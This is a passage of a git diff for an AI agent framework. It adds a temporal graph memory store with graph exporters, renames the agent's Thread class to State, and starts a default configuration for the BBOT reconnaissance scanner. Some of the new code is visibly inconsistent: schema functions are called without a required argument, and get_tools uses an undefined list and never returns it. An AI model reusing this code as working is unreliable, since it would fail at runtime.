nx_snapshot_by_time( + store: PandasTemporalStore, + *, + group_id: str, + as_of: datetime | None = None, + start: datetime | None = None, + end: datetime | None = None, + directed: bool = True, +) -> nx.Graph: + if as_of is not None: + edges = store.edges_as_of(group_id=group_id, as_of=as_of) + elif start is not None and end is not None: + edges = store.edges_in_window(group_id=group_id, start=start, end=end) + else: + edges = store.edges_as_of(group_id=group_id, as_of=datetime.now(timezone.utc)) + + Gtype = nx.DiGraph if directed else nx.Graph + G = nx.from_pandas_edgelist( + edges, source="src", target="dst", edge_attr="type", create_using=Gtype() + ) + return G + + +def nx_snapshot_by_step( + store: PandasTemporalStore, + steps_df: DataFrame, + *, + group_id: str, + step_id: int, + directed: bool = True, +) -> nx.Graph: + edges = edges_at_step(store, steps_df, group_id, step_id) + Gtype = nx.DiGraph if directed else nx.Graph + return nx.from_pandas_edgelist( + edges, source="src", target="dst", edge_attr="type", create_using=Gtype() + ) diff --git a/dreadnode/agent/memory/export/pyg_export.py b/dreadnode/agent/memory/export/pyg_export.py new file mode 100644 index 00000000..2255394a --- /dev/null +++ b/dreadnode/agent/memory/export/pyg_export.py @@ -0,0 +1,108 @@ +import json +from dataclasses import dataclass +from datetime import datetime, timezone + +import pandas as pd +import torch +from torch_geometric.data import HeteroData + +from dreadnode.agent.memory import PandasTemporalStore + + +@dataclass +class HeteroExportResult: + data: HeteroData + node_id_maps: dict[str, dict[str, int]] # node_type -> {uuid -> idx} + edge_counts: dict[tuple[str, str, str], int] # (src_type, rel_type, dst_type) -> count + + +def export_pyg_heterodata( + store: PandasTemporalStore, + group_id: str, + *, + as_of: datetime | None = None, + start: datetime | None = None, + end: datetime | None = None, + include_isolated: bool = False, + feature_key_by_type: dict[str, str] | None = None, +) -> HeteroExportResult: + if as_of is not None: + e_df = store.edges_as_of(group_id=group_id, as_of=as_of) + elif start is not None and end is not None: + e_df = store.edges_in_window(group_id=group_id, start=start, end=end) + else: + e_df = store.edges_as_of(group_id=group_id, as_of=datetime.now(timezone.utc)) + + e_df = e_df.astype({"src": "string", "dst": "string", "type": "string"}) + used = set(e_df["src"]).union(set(e_df["dst"])) + n_df = store.nodes_df(group_id=group_id, subset_uuids=None if include_isolated else list(used)) + if n_df.empty: + return HeteroExportResult(HeteroData(), {}, {}) + + def _to_dict(x): + if isinstance(x, dict): + return x + if isinstance(x, str) and x: + try: + return json.loads(x) + except Exception: + return {} + return {} + + n_df["attributes"] = n_df.get("attributes", "{}").apply(_to_dict) + n_df["label"] = n_df["label"].astype("string") + n_df["uuid"] = n_df["uuid"].astype("string") + + node_id_maps: dict[str, dict[str, int]] = {} + type_to_nodes: dict[str, list[str]] = {} + for t, sub in n_df.groupby("label", sort=False): + uuids = sub["uuid"].tolist() + type_to_nodes[t] = uuids + node_id_maps[t] = {u: i for i, u in enumerate(uuids)} + + data = HeteroData() + edge_counts: dict[tuple[str, str, str], int] = {} + feature_key_by_type = feature_key_by_type or {} + + for t, uuids in type_to_nodes.items(): + data[t].num_nodes = len(uuids) + feat_key = feature_key_by_type.get(t) + if feat_key: + feats = [] + ok = True + sub = n_df[n_df["label"] == t] + for _, row in sub.iterrows(): + val = row["attributes"].get(feat_key) + if isinstance(val, (list, tuple)) and all(isinstance(v, (int, float)) for v in val): + feats.append(val) + else: + ok = False + break + if ok and feats: + data[t].x = torch.tensor(feats, dtype=torch.float32) + + uuid_to_type = dict(zip(n_df["uuid"], n_df["label"], strict=False)) + rows = [] + for src, dst, rtype in e_df[["src", "dst", "type"]].itertuples(index=False): + s_type = uuid_to_type.get(src) + d_type = uuid_to_type.get(dst) + if s_type is None or d_type is None: + continue + rows.append((s_type, rtype, d_type, src, dst)) + + if not rows: + return HeteroExportResult(data, node_id_maps, edge_counts) + + df_edges = pd.DataFrame(rows, columns=["s_type", "r_type", "d_type", "src", "dst"]) + for (s_type, r_type, d_type), grp in df_edges.groupby( + ["s_type", "r_type", "d_type"], sort=False + ): + s_map = node_id_maps[s_type] + d_map = node_id_maps[d_type] + src_idx = [s_map[u] for u in grp["src"]] + dst_idx = [d_map[u] for u in grp["dst"]] + edge_index = torch.tensor([src_idx, dst_idx], dtype=torch.long) + data[(s_type, r_type, d_type)].edge_index = edge_index + edge_counts[(s_type, r_type, d_type)] = edge_index.size(1) + + return HeteroExportResult(data=data, node_id_maps=node_id_maps, edge_counts=edge_counts) diff --git a/dreadnode/agent/memory/graph/__init__.py b/dreadnode/agent/memory/graph/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/graph/adapter.py b/dreadnode/agent/memory/graph/adapter.py new file mode 100644 index 00000000..41a30589 --- /dev/null +++ b/dreadnode/agent/memory/graph/adapter.py @@ -0,0 +1,45 @@ +from datetime import datetime + +import pandas as pd + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.graph.base import ( + Universe, + coerce_edge_events_schema, + coerce_nodes_schema, +) + + +class TypedGraphAdapter: + def __init__(self, store: PandasTemporalStore, universe: Universe): + self.store = store + self.universe = universe + + def ingest( + self, + *, + group_id: str, + nodes_df: pd.DataFrame | None = None, + edges_df: pd.DataFrame | None = None, + default_ts: datetime | None = None, + ) -> None: + nodes_norm = None + if nodes_df is not None and len(nodes_df): + nd = nodes_df.copy() + if self.universe.label_aliases and "label" in nd: + nd["label"] = nd["label"].map(lambda x: self.universe.label_aliases.get(x, x)) + nodes_norm = coerce_nodes_schema(nd, allowed_labels=self.universe.labels) + self.store.add_entities_df(group_id=group_id, nodes_df=nodes_norm) + + if edges_df is not None and len(edges_df): + current_nodes = self.store.nodes_df(group_id) + if nodes_norm is not None and len(nodes_norm): + current_nodes = pd.concat([current_nodes, nodes_norm], ignore_index=True) + current_nodes.sort_values(["uuid", "created_at"], inplace=True) + current_nodes = current_nodes.drop_duplicates(subset=["uuid"], keep="last") + edges_norm = coerce_edge_events_schema( + edges_df, current_nodes, allowed_map=self.universe.allowed + ) + self.store.add_entities_df( + group_id=group_id, edges_df=edges_norm, default_ts=default_ts + ) diff --git a/dreadnode/agent/memory/graph/base.py b/dreadnode/agent/memory/graph/base.py new file mode 100644 index 00000000..88805b45 --- /dev/null +++ b/dreadnode/agent/memory/graph/base.py @@ -0,0 +1,153 @@ +import json +from dataclasses import dataclass, field +from datetime import datetime, timezone + +import pandas as pd +import yaml + +Label = str +EdgeType = str +TripletKey = tuple[Label, Label] # (src_label, dst_label) + + +@dataclass(frozen=True) +class Universe: + labels: set[Label] + allowed: dict[TripletKey, set[EdgeType]] # (src_label, dst_label) -> {"Has","LedTo",...} + label_aliases: dict[Label, Label] = field( + default_factory=dict + ) # optional: map external -> internal + + def merge(self, other: "Universe") -> "Universe": + merged_labels = set(self.labels) | set(other.labels) + merged_allowed: dict[TripletKey, set[EdgeType]] = { + k: set(v) for k, v in self.allowed.items() + } + for k, v in other.allowed.items(): + merged_allowed.setdefault(k, set()).update(v) + merged_aliases = {**self.label_aliases, **other.label_aliases} + return Universe(labels=merged_labels, allowed=merged_allowed, label_aliases=merged_aliases) + + +def load_universe_yaml(path: str) -> Universe: + with open(path) as f: + spec = yaml.safe_load(f) + labels = set(spec["labels"]) + allowed: dict[TripletKey, set[EdgeType]] = {} + for src, edge, dst in spec["edges"]: + allowed.setdefault((src, dst), set()).add(edge) + aliases = dict(spec.get("aliases", {})) + return Universe(labels=labels, allowed=allowed, label_aliases=aliases) + + +# ----- Stable pandas dtypes ----- +NODES_PD_DTYPES = { + "uuid": "string[pyarrow]", + "group_id": "string[pyarrow]", + "label": "string[pyarrow]", + "name": "string[pyarrow]", + "created_at": "datetime64[ns, UTC]", + "attributes": "string[pyarrow]", # JSON +} + +EDGE_EVENTS_PD_DTYPES = { + "group_id": "string[pyarrow]", + "src_uuid": "string[pyarrow]", + "dst_uuid": "string[pyarrow]", + "type": "string[pyarrow]", + "event_ts": "datetime64[ns, UTC]", + "event_kind": "string[pyarrow]", # "open" | "close" + "attributes": "string[pyarrow]", +} + + +def coerce_nodes_schema( + universe: Universe, df: pd.DataFrame, *, allowed_labels: set[str] | None = None +) -> pd.DataFrame: + allowed_labels = allowed_labels or universe.labels + df = df.copy() + for c in ("uuid", "label"): + if c not in df: + raise ValueError(f"nodes_df missing required column '{c}'") + if "group_id" not in df: + df["group_id"] = "default" + if "name" not in df: + df["name"] = "" + if "created_at" not in df: + df["created_at"] = pd.Timestamp(datetime.now(timezone.utc), tz="UTC") + if "attributes" not in df: + df["attributes"] = "{}" + bad = df[~df["label"].isin(allowed_labels)] + if len(bad): + raise ValueError("Invalid labels:\n" + bad[["uuid", "label"]].to_string(index=False)) + df["created_at"] = pd.to_datetime(df["created_at"], utc=True) + df["attributes"] = df["attributes"].apply( + lambda x: json.dumps(x) if not isinstance(x, str) else x + ) + return df.astype( + { + "uuid": "string[pyarrow]", + "group_id": "string[pyarrow]", + "label": "string[pyarrow]", + "name": "string[pyarrow]", + "attributes": "string[pyarrow]", + } + ).astype({"created_at": "datetime64[ns, UTC]"}) + + +def coerce_edge_events_schema( + universe: Universe, + edges_df: pd.DataFrame, + nodes_lookup: pd.DataFrame, + *, + allowed_map: dict[tuple[str, str], set[str]] | None = None, +) -> pd.DataFrame: + allowed_map = allowed_map or universe.allowed + df = edges_df.copy() + for c in ("src_uuid", "dst_uuid", "type"): + if c not in df: + raise ValueError(f"edges_df missing required column '{c}'") + if "group_id" not in df: + df["group_id"] = "default" + if "event_ts" not in df: + df["event_ts"] = pd.Timestamp(datetime.now(timezone.utc), tz="UTC") + if "event_kind" not in df: + df["event_kind"] = "open" + if "attributes" not in df: + df["attributes"] = "{}" + label_map = dict( + zip(nodes_lookup["uuid"].astype(str), nodes_lookup["label"].astype(str), strict=False) + ) + df["src_label"] = df["src_uuid"].map(label_map) + df["dst_label"] = df["dst_uuid"].map(label_map) + missing = df[df["src_label"].isna() | df["dst_label"].isna()] + if len(missing): + raise ValueError( + "Edge references unknown uuids; add nodes first:\n" + + missing[["src_uuid", "dst_uuid", "type"]].to_string(index=False) + ) + + def ok(row: pd.Series) -> bool: + return row["type"] in allowed_map.get((row["src_label"], row["dst_label"]), set()) + + bad = df[~df.apply(ok, axis=1)] + if len(bad): + raise ValueError( + "Disallowed edges:\n" + + bad[["src_uuid", "src_label", "type", "dst_label", "dst_uuid"]].to_string(index=False) + ) + df["event_ts"] = pd.to_datetime(df["event_ts"], utc=True) + df["attributes"] = df["attributes"].apply( + lambda x: json.dumps(x) if not isinstance(x, str) else x + ) + df = df.astype( + { + "group_id": "string[pyarrow]", + "src_uuid": "string[pyarrow]", + "dst_uuid": "string[pyarrow]", + "type": "string[pyarrow]", + "event_kind": "string[pyarrow]", + "attributes": "string[pyarrow]", + } + ).astype({"event_ts": "datetime64[ns, UTC]"}) + return df[["group_id", "src_uuid", "dst_uuid", "type", "event_ts", "event_kind", "attributes"]] diff --git a/dreadnode/agent/memory/memory.py b/dreadnode/agent/memory/memory.py new file mode 100644 index 00000000..4655616d --- /dev/null +++ b/dreadnode/agent/memory/memory.py @@ -0,0 +1,381 @@ +import asyncio +import json +import logging +import os +from dataclasses import dataclass +from datetime import datetime, timezone +from typing import Any, TypedDict + +import pandas as pd + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.export.networkx_export import nx_snapshot_by_time +from dreadnode.agent.memory.graph.adapter import TypedGraphAdapter + +logger = logging.getLogger(__name__) +pd.options.mode.copy_on_write = True + + +# ---- public response types (same as your tool API) ---- +class SuccessResponse(TypedDict): + message: str + + +class ErrorResponse(TypedDict): + error: str + + +class NodeResult(TypedDict): + uuid: str + name: str + summary: str + labels: list[str] + group_id: str + created_at: str + attributes: dict[str, Any] + + +class NodeSearchResponse(TypedDict): + message: str + nodes: list[NodeResult] + + +class FactSearchResponse(TypedDict): + message: str + facts: list[dict[str, Any]] + + +def _to_iso(dt) -> str: + if pd.isna(dt) or dt is None: + return datetime.now(timezone.utc).isoformat() + ts = pd.to_datetime(dt, utc=True) + return ts.isoformat() + + +def _to_attrs(x: dict[str, Any] | str) -> dict[str, Any]: + if isinstance(x, dict): + return x + if isinstance(x, str) and x: + try: + return json.loads(x) + except Exception: + return {"_raw": x} + return {} + + +def serialize_nodes_df(nodes_df: pd.DataFrame, group_id: str) -> list[NodeResult]: + out: list[NodeResult] = [] + for r in nodes_df.itertuples(index=False): + attrs = getattr(r, "attributes", "{}") + out.append( + NodeResult( + uuid=str(r.uuid), + name=str(getattr(r, "name", "") or ""), + summary="", # fill if you compute one + labels=[str(r.label)], + group_id=group_id, + created_at=_to_iso(getattr(r, "created_at", None)), + attributes=_to_attrs(attrs), + ) + ) + return out + + +@dataclass +class MemoryConfig: + root: str = os.environ.get("LAKE_ROOT", "./lake_pandas") + default_group_id: str | None = os.environ.get("GROUP_ID") + destroy_on_start: bool = bool(int(os.environ.get("DESTROY_ON_START", "0"))) + + +def _wipe_all_parquet(root: str): + import pathlib + import shutil + + p = pathlib.Path(root) + if p.exists(): + shutil.rmtree(p) + p.mkdir(parents=True, exist_ok=True) + + +def _format_fact_result(edge_row: dict[str, Any]) -> dict[str, Any]: + out: dict[str, Any] = {} + src = edge_row.get("src") or edge_row.get("src_uuid") + dst = edge_row.get("dst") or edge_row.get("dst_uuid") + out["src_uuid"] = str(src or "") + out["dst_uuid"] = str(dst or "") + out["type"] = str(edge_row.get("type", "")) + if "event_ts" in edge_row: + out["event_ts"] = pd.to_datetime(edge_row["event_ts"], utc=True).isoformat() + out["event_kind"] = str(edge_row.get("event_kind", "open")) + if "valid_from" in edge_row or "valid_to" in edge_row: + if edge_row.get("valid_from") is not None: + out["valid_from"] = pd.to_datetime(edge_row["valid_from"], utc=True).isoformat() + if edge_row.get("valid_to") is not None: + out["valid_to"] = pd.to_datetime(edge_row["valid_to"], utc=True).isoformat() + attrs = edge_row.get("attributes", {}) + if isinstance(attrs, str): + try: + attrs = json.loads(attrs) + except Exception: + attrs = {"_raw": attrs} + out["attributes"] = attrs if isinstance(attrs, dict) else {} + return out + + +class MemoryService: + def __init__( + self, config: MemoryConfig, store: PandasTemporalStore, adapter: TypedGraphAdapter + ): + self.config = config + self.store = store + self.adapter = adapter + self._queues: dict[str, asyncio.Queue] = {} + self._workers: dict[str, asyncio.Task] = {} + + @classmethod + async def create(cls, config: MemoryConfig | None = None) -> "MemoryService": + cfg = config or MemoryConfig() + if cfg.destroy_on_start: + _wipe_all_parquet(cfg.root) + store = PandasTemporalStore(root=cfg.root) + adapter = TypedGraphAdapter(store) # uses CORE_UNIVERSE by default + logger.info("Temporal memory initialized (pandas store at %s)", cfg.root) + return cls(cfg, store, adapter) + + async def shutdown(self): + # cancel worker tasks cleanly + for gid, t in list(self._workers.items()): + t.cancel() + try: + await t + except asyncio.CancelledError: + pass + except Exception: + logger.exception("Worker shutdown error for %s", gid) + self._workers.clear() + + # ---------- internal queue worker ---------- + async def _process_episode_queue(self, group_id: str): + logger.info("Starting episode queue worker for group_id: %s", group_id) + q = self._queues[group_id] + try: + while True: + fn = await q.get() + try: + await fn() + except Exception as e: + logger.exception("Error processing episode for %s: %s", group_id, e) + finally: + q.task_done() + except asyncio.CancelledError: + logger.info("Episode queue worker for %s cancelled", group_id) + finally: + self._workers.pop(group_id, None) + logger.info("Stopped episode queue worker for %s", group_id) + + def _ensure_worker(self, group_id: str): + if group_id not in self._queues: + self._queues[group_id] = asyncio.Queue() + if group_id not in self._workers: + self._workers[group_id] = asyncio.create_task(self._process_episode_queue(group_id)) + + # ---------- public API (same semantics as before) ---------- + async def add_memory( + self, + name: str, + episode_body: str, + group_id: str | None = None, + source: str = "text", + source_description: str = "", + uuid: str | None = None, + ) -> SuccessResponse | ErrorResponse: + gid = (group_id or self.config.default_group_id) or "default" + now = datetime.now(timezone.utc) + + async def process_episode(): + logger.info("Processing episode '%s' (group=%s, source=%s)", name, gid, source) + s = source.lower().strip() + try: + if s == "json": + payload = json.loads(episode_body) + nodes = payload.get("nodes", []) + edges = payload.get("edges", []) + nodes_df = pd.DataFrame(nodes) if nodes else None + edges_df = pd.DataFrame(edges) if edges else None + self.adapter.ingest( + group_id=gid, nodes_df=nodes_df, edges_df=edges_df, default_ts=now + ) + else: + logger.info("Text/message episode stored (no IE). desc=%s", source_description) + except Exception as e: + logger.exception("Episode '%s' failed: %s", name, e) + + self._ensure_worker(gid) + await self._queues[gid].put(process_episode) + pos = self._queues[gid].qsize() + return SuccessResponse(message=f"Episode '{name}' queued for processing (position: {pos})") + + async def search_memory_nodes( + self, + query: str, + group_ids: list[str] | None = None, + max_nodes: int = 10, + center_node_uuid: str | None = None, + entity: str = "", + ) -> NodeSearchResponse | ErrorResponse: + try: + gids = ( + group_ids + or ([self.config.default_group_id] if self.config.default_group_id else []) + or ["default"] + ) + asof = datetime.now(timezone.utc) + results: list[NodeResult] = [] + + for gid in gids: + ndf = self.store.nodes_df(gid) + if ndf.empty: + continue + + hay = (ndf["name"].fillna("") + " " + ndf["attributes"].fillna("")).str.lower() + mask = ( + hay.str.contains(query.lower(), na=False) + if query + else pd.Series([True] * len(ndf)) + ) + if entity: + mask = mask & (ndf["label"] == entity) + sub = ndf[mask].copy() + + if center_node_uuid: + try: + G = nx_snapshot_by_time(self.store, group_id=gid, as_of=asof, directed=True) + from collections import deque + + dist = {} + if center_node_uuid in G: + q = deque([(center_node_uuid, 0)]) + seen = {center_node_uuid} + while q: + u, d = q.popleft() + dist[u] = d + for v in G.neighbors(u): + if v not in seen: + seen.add(v) + q.append((v, d + 1)) + sub["__dist"] = sub["uuid"].map(lambda u: dist.get(u, 10**9)) + sub.sort_values(["__dist", "name"], inplace=True) + else: + sub["__dist"] = 10**9 + except Exception: + sub["__dist"] = 10**9 + else: + sub["__dist"] = 0 + + for r in sub.head(max_nodes).itertuples(index=False): + try: + attrs = r.attributes + if isinstance(attrs, str): + attrs = json.loads(attrs) if attrs else {} + except Exception: + attrs = {} + results.append( + { + "uuid": str(r.uuid), + "name": str(r.name or ""), + "summary": "", + "labels": [str(r.label)], + "group_id": gid, + "created_at": pd.to_datetime(r.created_at, utc=True).isoformat() + if "created_at" in r._fields + else datetime.now(timezone.utc).isoformat(), + "attributes": attrs if isinstance(attrs, dict) else {}, + } + ) + + return NodeSearchResponse( + message="Nodes retrieved successfully", nodes=results[:max_nodes] + ) + except Exception as e: + logger.exception("search_memory_nodes error: %s", e) + return ErrorResponse(error=str(e)) + + async def search_memory_facts( + self, + query: str, + group_ids: list[str] | None = None, + max_facts: int = 10, + center_node_uuid: str | None = None, + ) -> FactSearchResponse | ErrorResponse: + try: + gids = ( + group_ids + or ([self.config.default_group_id] if self.config.default_group_id else []) + or ["default"] + ) + asof = datetime.now(timezone.utc) + facts_out: list[dict[str, Any]] = [] + + for gid in gids: + edges = self.store.edges_as_of(group_id=gid, as_of=asof) + if edges.empty: + continue + nodes = self.store.nodes_df(gid)[["uuid", "label", "name", "attributes"]] + e = edges.merge( + nodes.add_prefix("src_"), left_on="src", right_on="src_uuid", how="left" + ) + e = e.merge( + nodes.add_prefix("dst_"), left_on="dst", right_on="dst_uuid", how="left" + ) + + if center_node_uuid: + e = e[(e["src"] == center_node_uuid) | (e["dst"] == center_node_uuid)] + + if query: + q = query.lower() + cols = [ + e["type"].astype(str).str.lower(), + e["src_label"].astype(str).str.lower(), + e["src_name"].astype(str).str.lower(), + e["dst_label"].astype(str).str.lower(), + e["dst_name"].astype(str).str.lower(), + e["src_attributes"].astype(str).str.lower(), + e["dst_attributes"].astype(str).str.lower(), + ] + hay = cols[0] + for c in cols[1:]: + hay = hay.str.cat(c, sep=" ") + e = e[hay.str.contains(q, na=False)] + + facts_out.extend( + [ + _format_fact_result( + { + "src_uuid": row["src"], + "dst_uuid": row["dst"], + "type": row["type"], + "attributes": { + "src": { + "uuid": row["src"], + "label": row.get("src_label"), + "name": row.get("src_name"), + }, + "dst": { + "uuid": row["dst"], + "label": row.get("dst_label"), + "name": row.get("dst_name"), + }, + }, + } + ) + for row in e.head(max_facts).to_dict("records") + ] + ) + + return FactSearchResponse( + message="Facts retrieved successfully", facts=facts_out[:max_facts] + ) + except Exception as e: + logger.exception("search_memory_facts error: %s", e) + return ErrorResponse(error=str(e)) diff --git a/dreadnode/agent/reactions.py b/dreadnode/agent/reactions.py index 0040ef13..1ffb1c7a 100644 --- a/dreadnode/agent/reactions.py +++ b/dreadnode/agent/reactions.py @@ -10,7 +10,7 @@ @dataclass -class Reaction(Exception): ... # noqa: N818 +class Reaction(Exception): ... @dataclass diff --git a/dreadnode/agent/thread.py b/dreadnode/agent/state.py similarity index 93% rename from dreadnode/agent/thread.py rename to dreadnode/agent/state.py index 656fbbb0..73a4196f 100644 --- a/dreadnode/agent/thread.py +++ b/dreadnode/agent/state.py @@ -43,8 +43,8 @@ HookMap = dict[type[Event], list[Hook]] -class ThreadWarning(UserWarning): - """A warning that is raised when a thread is used in a way that may not be safe or intended.""" +class StateWarning(UserWarning): + """A warning that is raised when a state is used in a way that may not be safe or intended.""" def _total_usage_from_events(events: list[Event]) -> Usage: @@ -56,7 +56,7 @@ def _total_usage_from_events(events: list[Event]) -> Usage: return total -class Thread(BaseModel): +class State(BaseModel): messages: list[Message] = Field(default_factory=list) """The log of messages exchanged during the session.""" events: list[Event] = Field(default_factory=list) @@ -64,8 +64,8 @@ class Thread(BaseModel): def __repr__(self) -> str: if not self.messages and not self.events: - return "Thread()" - return f"Thread(messages={len(self.messages)}, events={len(self.events)}, last_event={self.events[-1] if self.events else 'None'})" + return "State()" + return f"State(messages={len(self.messages)}, events={len(self.events)}, last_event={self.events[-1] if self.events else 'None'})" @property def total_usage(self) -> Usage: @@ -82,7 +82,7 @@ def last_usage(self) -> Usage | None: return last_event.usage return None - async def _stream( # noqa: PLR0912, PLR0915 + async def _stream( self, agent: "Agent", message: Message, hooks: HookMap, *, commit: CommitBehavior ) -> t.AsyncGenerator[Event, None]: events: list[Event] = [] @@ -124,7 +124,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: if not isinstance(reaction, Reaction): warn_at_user_stacklevel( f"Hook '{hook_name}' returned {reaction}, but expected a Reaction.", - ThreadWarning, + StateWarning, ) continue @@ -160,7 +160,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: if reaction is not None and reaction is not winning_reaction: warn_at_user_stacklevel( f"Hook '{hook_name}' returned {reaction}, but another hook already reacted. Only the first one will be applied.", - ThreadWarning, + StateWarning, ) winning_hook_name = next( @@ -169,7 +169,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: ) reacted_event = Reacted( agent=agent, - thread=self, + state=self, messages=messages, events=events, hook_name=winning_hook_name, @@ -196,7 +196,7 @@ async def _process_tool_call( async for event in _dispatch( ToolStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, tool_call=tool_call, @@ -215,7 +215,7 @@ async def _process_tool_call( async for event in _dispatch( AgentError( agent=agent, - thread=self, + state=self, messages=messages, events=events, error=e, @@ -231,7 +231,7 @@ async def _process_tool_call( async for event in _dispatch( ToolEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, tool_call=tool_call, @@ -246,7 +246,7 @@ async def _process_tool_call( async for event in _dispatch( AgentStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, ) @@ -265,7 +265,7 @@ async def _process_tool_call( async for event in _dispatch( StepStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, step=step, @@ -280,7 +280,7 @@ async def _process_tool_call( async for event in _dispatch( AgentError( agent=agent, - thread=self, + state=self, messages=messages, events=events, error=t.cast("Exception", step_chat.error), @@ -294,7 +294,7 @@ async def _process_tool_call( async for event in _dispatch( GenerationEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, message=step_chat.last, @@ -317,7 +317,7 @@ async def _process_tool_call( async for event in _dispatch( AgentStalled( agent=agent, - thread=self, + state=self, messages=messages, events=events, ) @@ -341,7 +341,7 @@ async def _process_tool_call( yield event if stopped_by_tool_call: - raise Finish( # noqa: TRY301 + raise Finish( f"Tool '{stopped_by_tool_call.name}' handling " f"{stopped_by_tool_call.id} requested to stop the agent." ) @@ -373,7 +373,7 @@ async def _process_tool_call( yield AgentEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, result=AgentResult( @@ -432,5 +432,5 @@ async def run( return final_event.result - def fork(self) -> "Thread": - return Thread(messages=deepcopy(self.messages), events=deepcopy(self.events)) + def fork(self) -> "State": + return State(messages=deepcopy(self.messages), events=deepcopy(self.events)) diff --git a/dreadnode/agent/tools/__init__.py b/dreadnode/agent/tools/__init__.py index a8fdc334..86b3db94 100644 --- a/dreadnode/agent/tools/__init__.py +++ b/dreadnode/agent/tools/__init__.py @@ -1,10 +1,13 @@ -from dreadnode.agent.tools.base import Tool, tool, tool_method -from dreadnode.agent.tools.task import finish_task -from dreadnode.agent.tools.todo import update_todo +from dreadnode.agent.tools.base import AnyTool, Tool, Toolset, tool, tool_method +from dreadnode.agent.tools.task.finish import complete_successfully, mark_as_failed +from dreadnode.agent.tools.task.todo import update_todo __all__ = [ + "AnyTool", "Tool", - "finish_task", + "Toolset", + "complete_successfully", + "mark_as_failed", "tool", "tool_method", "update_todo", diff --git a/dreadnode/agent/tools/base.py b/dreadnode/agent/tools/base.py index 2d525520..0c33979b 100644 --- a/dreadnode/agent/tools/base.py +++ b/dreadnode/agent/tools/base.py @@ -1,12 +1,18 @@ +import inspect import typing as t +from importlib.resources import files +import yaml from pydantic import BaseModel, ConfigDict from rigging import tools -from rigging.tools.base import ToolMethod as RiggingToolMethod +from rigging.tools.base import Tool, ToolMethod from dreadnode.agent.configurable import CONFIGURABLE_ATTR, configurable -Tool = tools.Tool +if t.TYPE_CHECKING: + from pathlib import Path + +Tool = tools.Tool # noqa: F811 tool = tools.tool AnyTool = Tool[t.Any, t.Any] @@ -24,7 +30,7 @@ def tool_method( description: str | None = None, catch: bool | t.Iterable[type[Exception]] | None = None, truncate: int | None = None, -) -> t.Callable[[t.Callable[P, R]], RiggingToolMethod[P, R]]: +) -> t.Callable[[t.Callable[P, R]], ToolMethod[P, R]]: """ Marks a method on a Toolset as a tool, adding it to specified variants. @@ -41,8 +47,8 @@ def tool_method( truncate: The maximum number of characters for the tool's output. """ - def decorator(func: t.Callable[P, R]) -> RiggingToolMethod[P, R]: - tool_method_descriptor: RiggingToolMethod[P, R] = tools.tool_method( + def decorator(func: t.Callable[P, R]) -> ToolMethod[P, R]: + tool_method_descriptor: ToolMethod[P, R] = tools.tool_method( name=name, description=description, catch=catch, @@ -89,16 +95,18 @@ def name(self) -> str: def get_tools(self, *, variant: str | None = None) -> list[AnyTool]: variant = variant or self.variant - tools: list[AnyTool] = [] - for name in dir(self): - class_member = getattr(self.__class__, name, None) - # We only act on ToolMethod descriptors that have our variants metadata. - if isinstance(class_member, RiggingToolMethod): - variants = getattr(class_member, TOOL_VARIANTS_ATTR, []) + # The loop + for name, raw in inspect.getmembers_static(self.__class__): + if isinstance(raw, ToolMethod): + variants = getattr(raw, TOOL_VARIANTS_ATTR, []) if variant in variants: bound_tool = t.cast("AnyTool", getattr(self, name)) tools.append(bound_tool) - return tools + + def get_manifest() -> dict: + path: Path = files(__package__).joinpath("manifest.yaml") + with path.open("r", encoding="utf-8") as f: + return yaml.safe_load(f) diff --git a/dreadnode/agent/tools/bbot/__init__.py b/dreadnode/agent/tools/bbot/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/bbot/custom/config/default.yml b/dreadnode/agent/tools/bbot/custom/config/default.yml new file mode 100644 index 00000000..d82cfc4b --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/default.yml @@ -0,0 +1,276 @@ +### BASIC OPTIONS ### + +# BBOT working directory +home: ~/.bbot +# How many scan results to keep before cleaning up the older ones +keep_scans: 20 +# Interval for displaying status messages +status_frequency: 15 +# Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event +file_blobs: false +# Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event +folder_blobs: false + +### SCOPE ### + +scope: + # strict scope means only exact DNS names are considered in-scope + # subdomains are not included unless they are explicitly provided in the target list + strict: false + # Filter by scope distance which events are displayed in the output + # 0 == show only in-scope events (affiliates are always shown) + # 1 == show all events up to distance-1 (1 hop from target) + report_distance: 0 + # How far out from the main scope to search + # Do not change this setting unless you know what you're doing + search_distance: 0 + +### DNS ### + +dns: + # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + disable: false + # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records + minimal: false + # How many instances of the dns module to run concurrently + threads: 25 + # How many concurrent DNS resolvers to use when brute-forcing + # (under the hood this is passed through directly to massdns -s) + brute_threads: 1000 + # nameservers to use for DNS brute-forcing + # default is updated weekly and contains ~10K high-quality public servers + brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt + # How far away from the main target to explore via DNS resolution (independent of scope.search_distance) + # This is safe to change + search_distance: 1 + # Limit how many DNS records can be followed in a row (stop malicious/runaway DNS records) + runaway_limit: 5 + # DNS query timeout + timeout: 5 + # How many times to retry DNS queries + retries: 1 + # Completely disable BBOT's DNS wildcard detection + wildcard_disable: False + # Disable BBOT's DNS wildcard detection for select domains + wildcard_ignore: [] + # How many sanity checks to make when verifying wildcard DNS + # Increase this value if BBOT's wildcard detection isn't working + wildcard_tests: 10 + # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs + # This helps prevent faulty DNS servers from hanging up the scan + abort_threshold: 50 + # Don't show PTR records containing IP addresses + filter_ptrs: true + # Enable/disable debug messages for DNS queries + debug: false + # For performance reasons, always skip these DNS queries + # Microsoft's DNS infrastructure is misconfigured so that certain queries to mail.protection.outlook.com always time out + 